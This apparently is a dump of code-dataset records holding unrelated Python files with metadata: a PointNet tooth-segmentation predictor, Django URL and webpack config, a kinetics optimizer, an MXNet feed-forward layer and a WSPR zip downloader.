DEFAULT SETTINGS\npretrained_model_path = FLAGS.model_path # os.path.join(BASE_DIR, './pretrained_model/model.ckpt')\ngpu_to_use = 0\noutput_dir = os.path.join(BASE_DIR, './test_results/')\nif not os.path.exists(output_dir):\n os.mkdir(output_dir)\noutput_verbose = True # If true, output all color-coded part segmentation obj files\n# MAIN SCRIPT\npoint_num = 4096 # the max number of points in the all testing data shapes\nbatch_size = 1\nNUM_PART_CATS = 2\n\ndef placeholder_inputs():\n pointclouds_ph = tf.placeholder(tf.float32, shape=(batch_size, point_num, 7))\n return pointclouds_ph\n\nfid = open('./refinement_classifier.pkl','rb')\nclassifier = cPickle.load(fid)\n\ndef printout(flog, data):\n\tprint(data)\n\tflog.write(data + '\\n')\n\ng_class2color = {'1': [0,255,0],\n '2': [0,0,255],\n '3': [0,255,255],\n '4': [255,255,0],\n '5': [255,0,255],\n '6': [0,200,255],\n '7': [255,200,0],\n '8': [255,0,200],\n '9': [255,0,0],\n '10': [255,0,200],\n '11': [255,200,0],\n '12': [0,200,255],\n '13': [255,0,255],\n '14': [255,255,0],\n '15': [0,255,255],\n '16':[0,0,255],\n '0':[255,255,255]} \n\ndef output_color_point_cloud(data, seg, out_file):\n with open(out_file, 'w') as f:\n l = len(seg)\n for i in range(l):\n color = g_class2color[str(seg[i])]\n f.write('%f %f %f %f %f %f %d\\n' % (data[i][0], data[i][1], data[i][2], color[0], color[1], color[2],seg[i]))\n \ndef pc_normalize(pc):\n l = pc.shape[0]\n centroid = np.mean(pc, axis=0)\n pc = pc - centroid\n m = np.max(np.sqrt(np.sum(pc**2, axis=1)))\n pc = pc / m\n return pc\n \n\ndef sample_data(data, num_sample):\n \"\"\" data is in N x ...\n we want to keep num_samplexC of them.\n if N > num_sample, we will randomly keep num_sample of them.\n if N < num_sample, we will randomly duplicate samples.\n \"\"\"\n N = data.shape[0]\n if (N == num_sample):\n return data, range(N)\n elif (N > num_sample):\n sample = np.random.choice(N, num_sample)\n return data[sample, ...], sample\n else:\n sample = np.random.choice(N, num_sample-N)\n dup_data = data[sample, ...]\n return np.concatenate([data, dup_data], 0), np.concatenate([np.arange(N),sample],0)#range(N)+list(sample)\n \ndef predict_single_data(singleTooth,caseName,numName):\n is_training = False\n with tf.device('/gpu:'+str(gpu_to_use)):\n pointclouds_ph= placeholder_inputs()\n is_training_ph = tf.placeholder(tf.bool, shape=())\n # simple model//\n seg_pred, end_points = model.get_model(pointclouds_ph, \\\n part_num=NUM_PART_CATS, is_training=is_training_ph, \\\n batch_size=batch_size, num_point=point_num, weight_decay=0.0, bn_decay=None)\n # Add ops to save and restore all the variables.\n saver = tf.train.Saver()\n # Later, launch the model, use the saver to restore variables from disk, and\n # do some work with the model. \n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n config.allow_soft_placement = True\n\n sess = tf.Session(config=config)\n saver.restore(sess, pretrained_model_path)\n print('Model restored.')\n \n outputdir = output_dir+caseName\n if not os.path.exists(outputdir):\n os.mkdir(outputdir)\n # Restore variables from disk.\n batch_data = np.zeros([batch_size, point_num, 7]).astype(np.float32)\n cur_data = singleTooth[:,:7]\n #cur_seg = singleTooth[:,7]\n cur_data,_ = sample_data(cur_data,point_num)\n unfitted_data = scaler.fit_transform(cur_data[:,:3])\n unfitted_data = np.concatenate([unfitted_data,cur_data[:,3:7]],axis=1)\n batch_data[0, ...] = unfitted_data\n \n seg_pred_res = sess.run([seg_pred],feed_dict={pointclouds_ph:batch_data,\n is_training_ph:is_training})\n seg_pred_res = np.argmax(seg_pred_res[0],axis=2)\n \n outpath = os.path.join(outputdir,numName)\n \n teeth = cur_data[np.where(seg_pred_res[0]==1)[0],:3]\n output_color_point_cloud(cur_data,seg_pred_res[0],outpath)\n new_teeth_index,new_x = fill_in_holes.fill_whole_to(singleTooth,teeth)\n new_teeth = singleTooth[new_teeth_index,:3]\n new_y = classifier.predict(new_x)\n return (new_teeth,new_teeth[np.where(new_y==1)[0]],new_teeth_index,new_teeth_index[np.where(new_y==1)[0]])\n\ndef give_metrics(datas,names):\n is_training = False\n with tf.device('/gpu:'+str(gpu_to_use)):\n pointclouds_ph= placeholder_inputs()\n is_training_ph = tf.placeholder(tf.bool, shape=())\n # simple model//\n seg_pred, end_points = model.get_model(pointclouds_ph, \\\n part_num=NUM_PART_CATS, is_training=is_training_ph, \\\n batch_size=batch_size, num_point=point_num, weight_decay=0.0, bn_decay=None)\n # Add ops to save and restore all the variables.\n saver = tf.train.Saver()\n # Later, launch the model, use the saver to restore variables from disk, and\n # do some work with the model. \n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n config.allow_soft_placement = True\n\n sess = tf.Session(config=config)\n saver.restore(sess, pretrained_model_path)\n print('Model restored.')\n \n total_precision = 0.0\n total_refin_precision = 0.0\n count = 0\n for singleTooth in datas:\n batch_data = np.zeros([batch_size, point_num, 7]).astype(np.float32)\n cur_data = singleTooth[:,:7]\n #cur_seg = singleTooth[:,7]\n cur_data,_ = sample_data(cur_data,point_num)\n unfitted_data = scaler.fit_transform(cur_data[:,:3])\n unfitted_data = np.concatenate([unfitted_data,cur_data[:,3:7]],axis=1)\n batch_data[0, ...] = unfitted_data \n seg_pred_res = sess.run([seg_pred],feed_dict={pointclouds_ph:batch_data,is_training_ph:is_training})\n seg_pred_res = np.argmax(seg_pred_res[0],axis=2)\n \n teeth = cur_data[np.where(seg_pred_res[0]==1)[0],:3]\n new_teeth_index,new_x = fill_in_holes.fill_whole_to(singleTooth,teeth)\n new_teeth = singleTooth[new_teeth_index,:3]\n new_y = classifier.predict(new_x)\n cur_precision = len(np.where(singleTooth[new_teeth_index,-1]==1)[0]) / new_teeth.shape[0]\n cur_refine_precision = len(np.where(singleTooth[new_teeth_index[np.where(new_y==1)[0]],-1]==1)[0])/len(np.where(new_y==1)[0])\n count+=1\n total_precision+=cur_precision\n total_refin_precision+=cur_refine_precision\n if cur_precision < 0.9:\n print(\"Bad Seg: \",names[count-1])\n print(\"current mean precision: \",total_precision/count)\n print (\"current mean refine precision: \",total_refin_precision/count)\n mean_precision = total_precision/len(datas)\n mean_refin_precision = total_refin_precision/len(datas)\n print(\"Mean precision overall: \",mean_precision)\n print(\"Mean refine precision overall: \",mean_refin_precision)\ndef predict_which_file(casePath):\n files = glob(casePath+'/*.txt')\n len_files = len(files)\n which_file = np.random.randint(0,len_files-1,1)\n data = np.loadtxt(files[int(which_file)],delimiter=',')\n with tf.Graph().as_default():\n whole_teeth,filtered_teeth,whole_teeth_index,filtered_index= predict_single_data(data,casePath.split('/')[-1],files[int(which_file)].split('/')[-1])\n v = pptk.viewer(whole_teeth)\n v.wait()\n v1 = pptk.viewer(filtered_teeth)\n v1.wait()\n v2 = pptk.viewer(data[np.where(data[:,-1]==1)[0],:3])\n v2.wait()\n whole_precision = np.sum(data[whole_teeth_index,-1])/whole_teeth.shape[0]\n filtered_precision = np.sum(data[filtered_index,-1])/filtered_teeth.shape[0]\n return whole_precision,filtered_precision\n \nif __name__=='__main__':\n dirNames = glob(\"../../ASIS/data/SegmentationDatasetSingleTooth/test/*\")\n test_datas = []\n names = []\n for dirName in dirNames:\n fileNames = glob(dirName+\"/*.txt\")\n for fileName in fileNames:\n names.append(fileName)\n data = np.loadtxt(fileName,delimiter=',')\n test_datas.append(data)\n print(len(test_datas))\n with tf.Graph().as_default():\n give_metrics(test_datas,names)\n #test_dir_name = dirNames[int(np.random.randint(0,len(dirNames),1))]\n #acc1,acc2 = predict_which_file(test_dir_name)\n #print(\"PointNet precision: \",acc1)\n #print(\"Refined Answer: \",acc2)", "sub_path": "teeth_segmentation/PointNet/teeth_seg/pointnet_predict.py", "file_name": "pointnet_predict.py", "file_ext": "py", "file_size_in_byte": 9430, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 13, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 21, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 39, "usage_type": "attribute"}, {"api_name": "_pickle.load", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 93, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 96, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.device", "line_number": 102, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 104, "usage_type": "call"}, {"api_name": "tensorflow.bool", "line_number": 104, "usage_type": "attribute"}, {"api_name": "pointnet_part_seg.get_model", "line_number": 106, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 110, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 110, "usage_type": "attribute"}, {"api_name": "tensorflow.ConfigProto", "line_number": 113, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 125, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 135, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 137, "usage_type": "call"}, {"api_name": "os.path", "line_number": 137, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 139, "usage_type": "call"}, {"api_name": "fill_in_holes.fill_whole_to", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 144, "usage_type": "call"}, {"api_name": "tensorflow.device", "line_number": 148, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 150, "usage_type": "call"}, {"api_name": "tensorflow.bool", "line_number": 150, "usage_type": "attribute"}, {"api_name": "pointnet_part_seg.get_model", "line_number": 152, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 156, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 156, "usage_type": "attribute"}, {"api_name": "tensorflow.ConfigProto", "line_number": 159, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 171, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 181, "usage_type": "call"}, {"api_name": "fill_in_holes.fill_whole_to", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 186, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 201, "usage_type": "attribute"}, {"api_name": "numpy.loadtxt", "line_number": 202, "usage_type": "call"}, {"api_name": "tensorflow.Graph", "line_number": 203, "usage_type": "call"}, {"api_name": "pptk.viewer", "line_number": 205, "usage_type": "call"}, {"api_name": "pptk.viewer", "line_number": 207, "usage_type": "call"}, {"api_name": "pptk.viewer", "line_number": 209, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 209, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 211, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 212, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 216, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 220, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 223, "usage_type": "call"}, {"api_name": "tensorflow.Graph", "line_number": 226, "usage_type": "call"}]} +{"seq_id": "109141220", "text": "from django.urls import re_path,include\n\n\nfrom user.views import RegisterView,ActiveView,LogoutView,HomeView,LoginView,UserListView,RoleListView\n\napp_name=\"[user.urls,]\"\n\n\nurlpatterns = [\n re_path(r\"^register/$\",RegisterView.as_view(),name=\"register\"),\n re_path(r\"^active/(?P.+)/$\",ActiveView.as_view(),name=\"active\"),\n re_path(r\"^logout/$\",LogoutView.as_view(),name=\"logout\"),\n re_path(r\"^home/$\",HomeView.as_view(),name=\"home\"),\n re_path(r\"^login/$\", LoginView.as_view(), name=\"login\"),\n re_path(r\"^user_list/$\", UserListView.as_view(), name=\"user_list\"),\n re_path(r\"^role_list/$\", RoleListView.as_view(), name=\"role_list\"),\n]\n", "sub_path": "bbs_blog/user/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 657, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.urls.re_path", "line_number": 10, "usage_type": "call"}, {"api_name": "user.views.RegisterView.as_view", "line_number": 10, "usage_type": "call"}, {"api_name": "user.views.RegisterView", "line_number": 10, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 11, "usage_type": "call"}, {"api_name": "user.views.ActiveView.as_view", "line_number": 11, "usage_type": "call"}, {"api_name": "user.views.ActiveView", "line_number": 11, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 12, "usage_type": "call"}, {"api_name": "user.views.LogoutView.as_view", "line_number": 12, "usage_type": "call"}, {"api_name": "user.views.LogoutView", "line_number": 12, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 13, "usage_type": "call"}, {"api_name": "user.views.HomeView.as_view", "line_number": 13, "usage_type": "call"}, {"api_name": "user.views.HomeView", "line_number": 13, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 14, "usage_type": "call"}, {"api_name": "user.views.LoginView.as_view", "line_number": 14, "usage_type": "call"}, {"api_name": "user.views.LoginView", "line_number": 14, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 15, "usage_type": "call"}, {"api_name": "user.views.UserListView.as_view", "line_number": 15, "usage_type": "call"}, {"api_name": "user.views.UserListView", "line_number": 15, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 16, "usage_type": "call"}, {"api_name": "user.views.RoleListView.as_view", "line_number": 16, "usage_type": "call"}, {"api_name": "user.views.RoleListView", "line_number": 16, "usage_type": "name"}]} +{"seq_id": "116886538", "text": "import os, pickle\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import minimize, differential_evolution\nfrom .base_optimizer import BaseOptimizer\n\n\nclass ConstrainedTrustConstrOptimizer(BaseOptimizer):\n\n def __init__(self, kinetic_cell, kc_ground_truth, opts):\n super().__init__(kinetic_cell, kc_ground_truth, opts)\n self.constraint_loss_values = []\n \n def cost_fun(self, x):\n \n cost = self.base_cost(x) # base cost set from options\n\n # Log optimization status\n with open(self.log_file, 'a+') as fileID:\n print('==================================================== Status at Iteration {} ===================================================='.format(str(self.function_evals)), file=fileID)\n self.kinetic_cell.log_status(x, fileID)\n print('Loss value: {}'.format(cost), file=fileID)\n print('================================================== End Status at Iteration {} ==================================================\\n\\n'.format(str(self.function_evals)), file=fileID)\n\n return cost\n\n \n def optimize_cell(self):\n \n # Warm start initial guess\n if self.warm_start_complete:\n x0 = np.load(os.path.join(self.load_dir,'warm_start.npy'))\n print('Warm start loaded!')\n\n else:\n def res_fun(x): return np.sum(np.power(self.kinetic_cell.compute_residuals(x),2))\n x0 = self.data_container.compute_initial_guess(self.kinetic_cell.reac_names, self.kinetic_cell.prod_names,\n res_fun, self.kinetic_cell.param_types)\n x0 = self.warm_start(x0, self.kinetic_cell.param_types)\n np.save(os.path.join(self.load_dir,'warm_start.npy'), x0)\n np.save(os.path.join(self.load_dir, 'total_loss.npy'), np.array(self.loss_values))\n np.save(os.path.join(self.load_dir,'function_evals.npy'), self.function_evals)\n \n self.warm_start_complete = True\n with open(os.path.join(self.load_dir,'warm_start_complete.pkl'),'wb') as fp:\n pickle.dump(self.warm_start_complete, fp)\n\n\n # Optimize parameters\n if self.optim_complete:\n self.sol = np.load(os.path.join(self.load_dir,'optimal_params.npy'))\n print('Optimized parameters loaded!')\n \n else:\n bnds = self.kinetic_cell.get_bounds()\n # Form constraint dictionary for constrained optimization\n constraint_dict = {'type':'eq', \n 'fun': lambda x: np.sum(np.power(self.kinetic_cell.compute_residuals(x),2))}\n result = minimize(self.cost_fun, x0, bounds=bnds, method='trust-constr', constraints=[constraint_dict])\n self.sol = result.x\n \n cost_final = self.cost_fun(self.sol)\n with open(self.log_file, 'a+') as fileID:\n print('Optimization completed. Final cost: {}.'.format(str(cost_final)), file=fileID)\n \n # Save data\n np.save(os.path.join(self.load_dir, 'total_loss.npy'), np.array(self.loss_values))\n np.save(os.path.join(self.load_dir, 'optimal_params.npy'), self.sol)\n np.save(os.path.join(self.load_dir, 'function_evals.npy'), self.function_evals)\n\n self.optim_complete = True\n with open(os.path.join(self.load_dir,'optim_complete.pkl'),'wb') as fp:\n pickle.dump(self.optim_complete, fp)\n\n\n # Print convergence plot\n plt.figure()\n plt.semilogy(np.array(self.loss_values))\n plt.xlabel('Number of function evaluations')\n plt.ylabel('Total Loss value')\n plt.title('Optimization Convergence Plot')\n plt.savefig(os.path.join(self.kinetic_cell.results_dir, 'convergence_plot_total.png'))\n", "sub_path": "Kinetics-Model-Optimizer/optimization/constrained_trust_constr_optimizer.py", "file_name": "constrained_trust_constr_optimizer.py", "file_ext": "py", "file_size_in_byte": 3881, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "base_optimizer.BaseOptimizer", "line_number": 8, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.save", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 58, "usage_type": "call"}, {"api_name": "scipy.optimize.minimize", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "numpy.save", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.semilogy", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}]} +{"seq_id": "587286482", "text": "from mxnet.gluon import nn\n\nfrom hyperParameters import GetHyperParameters as ghp\n\n\nclass FeedForward(nn.Block):\n def __init__(self, **kwargs):\n super(FeedForward, self).__init__(**kwargs)\n with self.name_scope():\n self.ffn_dense = nn.Dense(ghp.ffn_dim, activation=\"relu\", use_bias=True, flatten=False)\n self.model_dense = nn.Dense(ghp.model_dim, use_bias=True, flatten=False)\n self.dropout = nn.Dropout(ghp.ffn_dropout)\n self.layer_norm = nn.LayerNorm(axis=-1, epsilon=ghp.norm_epsilon)\n\n def forward(self, x, *args):\n # x shape : (batch_size, seq_len, model_dim)\n residual = x\n\n # output shape : (batch_size, seq_len, ffn_dim)\n output = self.ffn_dense(x)\n\n # output shape : (batch_size, seq_len, model_dim)\n output = self.model_dense(output)\n\n # shape : (batch_size, seq_len, model_dim)\n output = self.dropout(output)\n\n # add residual and norm layer\n output = self.layer_norm(residual + output)\n\n return output\n", "sub_path": "models/feed_forward.py", "file_name": "feed_forward.py", "file_ext": "py", "file_size_in_byte": 1054, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "mxnet.gluon.nn.Block", "line_number": 6, "usage_type": "attribute"}, {"api_name": "mxnet.gluon.nn", "line_number": 6, "usage_type": "name"}, {"api_name": "mxnet.gluon.nn.Dense", "line_number": 10, "usage_type": "call"}, {"api_name": "mxnet.gluon.nn", "line_number": 10, "usage_type": "name"}, {"api_name": "hyperParameters.GetHyperParameters.ffn_dim", "line_number": 10, "usage_type": "attribute"}, {"api_name": "hyperParameters.GetHyperParameters", "line_number": 10, "usage_type": "name"}, {"api_name": "mxnet.gluon.nn.Dense", "line_number": 11, "usage_type": "call"}, {"api_name": "mxnet.gluon.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "hyperParameters.GetHyperParameters.model_dim", "line_number": 11, "usage_type": "attribute"}, {"api_name": "hyperParameters.GetHyperParameters", "line_number": 11, "usage_type": "name"}, {"api_name": "mxnet.gluon.nn.Dropout", "line_number": 12, "usage_type": "call"}, {"api_name": "mxnet.gluon.nn", "line_number": 12, "usage_type": "name"}, {"api_name": "hyperParameters.GetHyperParameters.ffn_dropout", "line_number": 12, "usage_type": "attribute"}, {"api_name": "hyperParameters.GetHyperParameters", "line_number": 12, "usage_type": "name"}, {"api_name": "mxnet.gluon.nn.LayerNorm", "line_number": 13, "usage_type": "call"}, {"api_name": "mxnet.gluon.nn", "line_number": 13, "usage_type": "name"}, {"api_name": "hyperParameters.GetHyperParameters.norm_epsilon", "line_number": 13, "usage_type": "attribute"}, {"api_name": "hyperParameters.GetHyperParameters", "line_number": 13, "usage_type": "name"}]} +{"seq_id": "513786143", "text": "#!/usr/bin/env python\r\n#\r\n# download.py\r\n#\r\n# Download and expand the given URL\r\n\r\n# \r\n# Copyright (C) 2017 by G3UKB Bob Cowdery\r\n# This program is free software; you can redistribute it and/or modify\r\n# it under the terms of the GNU General Public License as published by\r\n# the Free Software Foundation; either version 2 of the License, or\r\n# (at your option) any later version.\r\n# \r\n# This program is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# GNU General Public License for more details.\r\n# \r\n# You should have received a copy of the GNU General Public License\r\n# along with this program; if not, write to the Free Software\r\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\r\n# \r\n# The author can be reached by email at: \r\n# bob@bobcowdery.plus.com\r\n#\r\n\r\n\"\"\"\r\nPerform an HTTP download and expand the file\r\n\"\"\"\r\n\r\nimport os, sys, traceback\r\nimport urllib.request\r\nimport zipfile\r\n\r\nclass Download:\r\n \r\n def __init__(self,):\r\n \"\"\"\r\n Constructor\r\n\r\n Arguments:\r\n \r\n \"\"\"\r\n \r\n pass\r\n \r\n def download(self, URL, outfile):\r\n \"\"\"\r\n Constructor\r\n\r\n Arguments:\r\n url -- the URL to download\r\n outfile -- path to write file to\r\n \r\n \"\"\"\r\n \r\n try:\r\n urllib.request.urlretrieve(URL, outfile)\r\n zip = zipfile.ZipFile(outfile, 'r')\r\n infolist = zip.infolist()\r\n filename = infolist[0].filename\r\n zip.extractall()\r\n zip.close()\r\n return True, filename\r\n except Exception as e:\r\n return False, str(e)\r\n \r\n#======================================================================================================================\r\n# Main code\r\ndef main():\r\n \r\n try:\r\n # The application \r\n app = Download()\r\n # Run application\r\n print (app.download('http://wsprnet.org/archive/wsprspots-2017-02.csv.zip', 'wsprspots.zip'))\r\n sys.exit(0)\r\n \r\n except Exception as e:\r\n print ('Exception','Exception [%s][%s]' % (str(e), traceback.format_exc()))\r\n \r\n# Entry point \r\nif __name__ == '__main__':\r\n main() ", "sub_path": "python/download.py", "file_name": "download.py", "file_ext": "py", "file_size_in_byte": 2396, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "urllib.request.request.urlretrieve", "line_number": 58, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 58, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 58, "usage_type": "name"}, {"api_name": "zipfile.ZipFile", "line_number": 59, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 77, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 80, "usage_type": "call"}]} +{"seq_id": "53040488", "text": "# Django hook to validate and configure settings on startup\n\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.conf import settings\nimport webpack.conf\n\nFINDER_PATH = 'webpack.django_integration.WebpackFinder'\n\nif (\n ('staticfiles' in settings.INSTALLED_APPS or 'django.contrib.staticfiles' in settings.INSTALLED_APPS) and\n FINDER_PATH not in settings.STATICFILES_FINDERS\n):\n raise ImproperlyConfigured(\n (\n 'When using webpack together with staticfiles, please add \\'{}\\' to the '\n 'STATICFILES_FINDERS setting.'\n ).format(FINDER_PATH)\n )\n\nwebpack.conf.settings.configure(\n **getattr(settings, 'WEBPACK', {})\n)", "sub_path": "webpack/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 680, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.conf.settings.INSTALLED_APPS", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 10, "usage_type": "name"}, {"api_name": "django.conf.settings.STATICFILES_FINDERS", "line_number": 11, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 11, "usage_type": "name"}, {"api_name": "django.core.exceptions.ImproperlyConfigured", "line_number": 13, "usage_type": "call"}, {"api_name": "webpack.conf.conf.settings.configure", "line_number": 20, "usage_type": "call"}, {"api_name": "webpack.conf.conf", "line_number": 20, "usage_type": "attribute"}, {"api_name": "webpack.conf", "line_number": 20, "usage_type": "name"}, {"api_name": "django.conf.settings", "line_number": 21, "usage_type": "argument"}]} +{"seq_id": "105313979", "text": "import 